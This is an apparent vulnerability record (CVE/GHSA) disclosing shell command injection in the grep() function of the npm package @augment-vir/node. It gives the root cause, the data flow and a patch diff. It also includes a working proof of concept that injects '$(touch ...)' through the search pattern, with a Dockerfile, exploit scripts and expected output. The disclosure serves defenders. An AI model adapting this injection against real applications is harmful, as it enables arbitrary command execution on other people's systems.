{"id":"CVE-2026-63496","aliases":["CVE-2026-63496","GHSA-xvcc-vqjv-phqh"],"related":[],"kind":"vulnerability","state":"published","title":"augment-vir: Shell Command Injection in `grep()` via Unsanitized `searchPattern`","summary":"augment-vir is a collection of helper functions. Prior to version 31.73.5, the grep() function exported by @augment-vir/node inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (grep.ts:310). When the constructed command is passed to spawn() with shell: 'bash' (shell.ts:98-99), bash evaluates $() command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to grep()'s pattern or patterns field is vulnerable to unauthenticated local (and potentially remote) code execution. This issue has been patched in version 31.73.5.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"augment-vir is a collection of helper functions. Prior to version 31.73.5, the grep() function exported by @augment-vir/node inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (grep.ts:310). When the constructed command is passed to spawn() with shell: 'bash' (shell.ts:98-99), bash evaluates $() command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to grep()'s pattern or patterns field is vulnerable to unauthenticated local (and potentially remote) code execution. This issue has been patched in version 31.73.5.","source":"cvelist"},{"lang":"en","text":"## Shell Command Injection in `grep()` via Unsanitized `searchPattern`\n\n### Summary\n\nThe `grep()` function exported by `@augment-vir/node` inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (`grep.ts:310`). When the constructed command is passed to `spawn()` with `shell: 'bash'` (`shell.ts:98-99`), bash evaluates `$()` command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to `grep()`'s `pattern` or `patterns` field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: **7.8 (High)**.\n\n### Details\n\n**Root cause:** `packages/node/src/augments/fs/grep.ts:310` maps each search pattern into the shell fragment `-e \"${searchPattern}\"` with no sanitization:\n\n```ts\n// grep.ts:310\n...searchPatterns.map((searchPattern) => `-e \"${searchPattern}\"`),\n```\n\nThe resulting full command string is forwarded to `runShellCommand` (`grep.ts:320`), which calls `streamShellCommand` (`shell.ts:221-224`), which ultimately calls:\n\n```ts\n// shell.ts:98-99\nconst childProcess = spawn(command, {\n    shell,   // defaults to 'bash' (shell.ts:92)\n```\n\nBecause `shell` is `'bash'`, bash interprets `$()` within the double-quoted pattern as a command substitution and executes it before `grep` ever runs.\n\n**Incomplete sanitization:** An `escape()` helper exists at `grep.ts:178-180` but only replaces `\"` with `\\\"` and removes newlines. It is applied to `excludePatterns`, `excludeDirs`, and `includeFiles` (`grep.ts:297-308`) but **not** to `searchPatterns`. Even if it were applied, double-quote escaping does not prevent `$()` or backtick substitution inside bash double-quote contexts.\n\n**Data flow (source → sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `packages/node/src/index.ts:3` | `export * from './augments/fs/grep.js'` — exposes `grep()` as a public npm API |\n| 2 | `packages/node/src/augments/fs/grep.ts:223-226` | `grep()` accepts caller-controlled `grepSearchPattern` and `grepSearchLocation` |\n| 3 | `packages/node/src/augments/fs/grep.ts:228` | `searchPatterns` derived from `grepSearchPattern.patterns \\|\\| [grepSearchPattern.pattern]` |\n| 4 | `packages/node/src/augments/fs/grep.ts:269-314` | `fullCommand` built as a plain shell string |\n| 5 | `packages/node/src/augments/fs/grep.ts:310` | **Sink:** `searchPattern` inserted as `` `-e \"${searchPattern}\"` `` — no escaping applied |\n| 6 | `packages/node/src/augments/fs/grep.ts:320` | `fullCommand` passed to `runShellCommand` |\n| 7 | `packages/node/src/augments/terminal/shell.ts:221-224` | Forwarded to `streamShellCommand` |\n| 8 | `packages/node/src/augments/terminal/shell.ts:98-99` | `spawn(command, { shell: 'bash' })` executes the constructed command string |\n\n**Suggested remediation:**\n\n```diff\n--- a/packages/node/src/augments/fs/grep.ts\n+++ b/packages/node/src/augments/fs/grep.ts\n@@\n-function escape(input: string) {\n-    return input.replaceAll('\"', String.raw`\\\"`).replaceAll('\\n', '');\n+function shellQuote(input: string) {\n+    return `'${input.replaceAll(\"'\", String.raw`'\\''`).replaceAll('\\n', '')}'`;\n }\n@@\n-        ...searchPatterns.map((searchPattern) => `-e \"${searchPattern}\"`),\n+        ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),\n+        '--',\n         ...searchParts,\n```\n\nAlternatively, replace the shell-string approach with `spawn('grep', args, { shell: false })` to avoid shell interpretation entirely.\n\n### PoC\n\n**Prerequisites:** Docker installed on the host. All steps run locally inside a container — no network exposure, no real credentials, no DoS.\n\n**Step 1 — Build the Docker image:**\n\n```bash\ndocker build -t augment-vir-vuln-001-poc \\\n  vuln-001\n```\n\n**Step 2 — Run the exploit container:**\n\n```bash\ndocker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc\n```\n\n**Core exploit (`exploit.mjs` inside the container):**\n\n```js\nimport { grep } from '@augment-vir/node';\n\nawait grep(\n  { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },\n  { file: 'package.json' },\n);\n```\n\nThe `$()` shell substitution in the pattern causes bash to execute `touch /tmp/augment-vir-poc-triggered` before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in `package.json`.\n\n**Expected output:**\n\n```\n[*] Calling grep() with injected $() command substitution pattern...\n[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match\n\n=== VULNERABLE ===\n[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered\n[+] The $() substitution in pattern was executed by bash via spawn({shell:\"bash\"})\n```\n\n**Minimal reproduction without Docker:**\n\n```bash\nmkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc\nnpm init -y\nnpm install @augment-vir/node@31.73.2\n\ncat > poc.mjs <<'EOF'\nimport { grep } from '@augment-vir/node';\nawait grep(\n  { pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' },\n  { file: 'package.json' },\n);\nEOF\n\nrm -f /tmp/augment-vir-grep-poc\nnode poc.mjs\ntest -f /tmp/augment-vir-grep-poc && echo VULNERABLE\n```\n\n**Verification:** Both Phase 1 static analysis and Phase 2 dynamic reproduction confirmed the vulnerability. `VULNERABLE` and `COMMAND INJECTION CONFIRMED` were observed in stdout; the sentinel file `/tmp/augment-vir-poc-triggered` was created inside the Docker container.\n\n### Impact\n\nThis is an **OS Command Injection (CWE-78)** vulnerability. Any application that calls `@augment-vir/node`'s `grep()` with user-controlled input in the `pattern` or `patterns` field is vulnerable to arbitrary command execution under the Node.js process's user account.\n\n- **Confidentiality — High:** An attacker can read arbitrary files accessible to the process.\n- **Integrity — High:** An attacker can write or delete files, install malware, or modify application data.\n- **Availability — High:** An attacker can terminate processes or exhaust system resources.\n\nThe attack vector is classified as Local (the attacker must control the value passed to `pattern` at the library API level). In practice the severity escalates to Network-reachable if a web service or API maps any user-supplied string to the `grep()` `pattern` parameter. No authentication or special privileges are required; the function is exported from the package's main entry point and is enabled by default.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22-slim\n\n# Install grep (required by @augment-vir/node's grep() implementation)\nRUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /poc\n\n# Initialize npm project and install the vulnerable package version\nRUN npm init -y && \\\n    npm install @augment-vir/node@31.73.2 --save 2>&1 | tail -5\n\n# Create the exploit script that demonstrates command injection via grep()\n# The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected\n# into the shell command string without sanitization, causing $() substitution\n# to execute 'touch /tmp/augment-vir-poc-triggered' under bash.\nRUN cat > /poc/exploit.mjs << 'EOF'\nimport { grep } from '@augment-vir/node';\nimport { existsSync } from 'node:fs';\n\nconst SENTINEL_FILE = '/tmp/augment-vir-poc-triggered';\n\n// Remove sentinel file if it exists from a previous run\nimport { rmSync } from 'node:fs';\ntry { rmSync(SENTINEL_FILE); } catch {}\n\nconsole.log('[*] Calling grep() with injected $() command substitution pattern...');\nconsole.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match');\n\ntry {\n  await grep(\n    { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },\n    { file: 'package.json' },\n  );\n} catch (err) {\n  // grep() may throw due to no matches — that is expected and irrelevant\n  console.log('[*] grep() threw (expected when no matches):', err?.message ?? err);\n}\n\nif (existsSync(SENTINEL_FILE)) {\n  console.log('');\n  console.log('=== VULNERABLE ===');\n  console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE);\n  console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:\"bash\"})');\n  process.exit(0);\n} else {\n  console.log('');\n  console.log('=== NOT EXPLOITED ===');\n  console.log('[-] Sentinel file was NOT created — injection did not fire.');\n  process.exit(1);\n}\nEOF\n\nCMD [\"node\", \"/poc/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Shell Command Injection in @augment-vir/node grep()\nCWE-78 — OS Command Injection\nAffected version: @augment-vir/node@31.73.2\n\nRoot cause:\n  packages/node/src/augments/fs/grep.ts:310 constructs a shell command string\n  using unsanitized caller-supplied searchPattern inside double quotes:\n    ...searchPatterns.map((searchPattern) => `-e \"${searchPattern}\"`)\n  This command string is passed to spawn(command, { shell: 'bash' }), meaning\n  $() command substitution in the pattern is executed by bash.\n\nSafe usage: This PoC runs entirely inside a local Docker container.\n            No external network attacks, no real credentials, no DoS.\n\"\"\"\n\nimport subprocess\nimport sys\nimport os\nimport json\n\nIMAGE_NAME = \"augment-vir-vuln-001-poc\"\nCONTAINER_NAME = \"augment-vir-vuln-001-run\"\nDOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))\n\nBUILD_CMD = f\"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}\"\nRUN_CMD = f\"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}\"\n\n\ndef run(cmd, **kwargs):\n    \"\"\"Run a shell command and return CompletedProcess.\"\"\"\n    print(f\"[cmd] {cmd}\")\n    return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)\n\n\ndef main():\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Shell Command Injection in grep()\")\n    print(\"Package: @augment-vir/node@31.73.2\")\n    print(\"=\" * 60)\n\n    # Step 1: Build Docker image\n    print(\"\\n[*] Building Docker image...\")\n    build_result = run(BUILD_CMD, timeout=300)\n    if build_result.returncode != 0:\n        print(\"[!] Docker build FAILED\")\n        print(build_result.stdout[-2000:] if build_result.stdout else \"\")\n        print(build_result.stderr[-2000:] if build_result.stderr else \"\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=\"Docker 빌드 실패 — npm install 또는 네트워크 오류\",\n            evidence=build_result.stderr[-1000:],\n        )\n        sys.exit(1)\n    print(\"[+] Docker image built successfully\")\n\n    # Step 2: Run exploit container\n    print(\"\\n[*] Running exploit container...\")\n    run_result = run(RUN_CMD, timeout=120)\n\n    combined_output = run_result.stdout + run_result.stderr\n    print(combined_output)\n\n    # Step 3: Evaluate result\n    vulnerable = \"VULNERABLE\" in combined_output and \"COMMAND INJECTION CONFIRMED\" in combined_output\n\n    if vulnerable:\n        print(\"\\n[+] PASS — Command injection confirmed inside Docker container\")\n        print(\"[+] The $() substitution in grep() pattern was executed by bash\")\n        write_result(\n            passed=True,\n            verdict=\"PASS\",\n            reason=(\n                \"Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. \"\n                \"sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 \"\n                \"'COMMAND INJECTION CONFIRMED' 문자열이 관측됨.\"\n            ),\n            evidence=combined_output.strip()[-1500:],\n        )\n        sys.exit(0)\n    else:\n        print(\"\\n[-] FAIL — exploit did not produce expected output\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=(\n                \"컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. \"\n                \"sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음.\"\n            ),\n            evidence=combined_output.strip()[-1500:],\n        )\n        sys.exit(1)\n\n\ndef write_result(passed, verdict, reason, evidence):\n    result = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": BUILD_CMD,\n        \"run_command\": RUN_CMD,\n        \"poc_command\": f\"python3 {os.path.abspath(__file__)}\",\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n    }\n    out_path = os.path.join(DOCKERFILE_DIR, \"phase2_result.json\")\n    with open(out_path, \"w\", encoding=\"utf-8\") as f:\n        json.dump(result, f, ensure_ascii=False, indent=2)\n    print(f\"\\n[*] Result written to {out_path}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```","format":"markdown","source":"ghsa"}],"published":"2026-11-09T20:55:33.876Z","modified":"2026-11-18T16:30:05.599Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"}],"cwes":["CWE-78"],"affected":[{"ranges":[{"version":"< 31.73.5","status":"affected"}],"vendor":"electrovir","product":"augment-vir","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"31.73.5"}],"ecosystem":"npm","package":"@augment-vir/node","purl":"pkg:npm/%40augment-vir/node","source":"ghsa"}],"references":[{"url":"https://github.com/electrovir/augment-vir/security/advisories/GHSA-xvcc-vqjv-phqh","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/electrovir/augment-vir/commit/9e1a3592903a56e500959be72276ede1708c3437","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/electrovir/augment-vir/releases/tag/v31.73.5","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63496","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/electrovir/augment-vir","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-11-14T02:16:44.289Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-63496","url":"https://www.cve.org/CVERecord?id=CVE-2026-63496","licence":"CVE Terms of Use","modified":"2026-11-14T02:17:08.575Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xvcc-vqjv-phqh","url":"https://github.com/advisories/GHSA-xvcc-vqjv-phqh","licence":"CC-BY-4.0","modified":"2026-11-18T16:30:05.599Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-63496","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63496","licence":"Public domain","modified":"2026-11-14T03:17:30.093Z"}],"updatedAt":"2026-11-25T22:59:49.677Z","epss":{"score":0.00363,"percentile":0.32149,"date":"2026-12-01T12:00:22.000Z"}}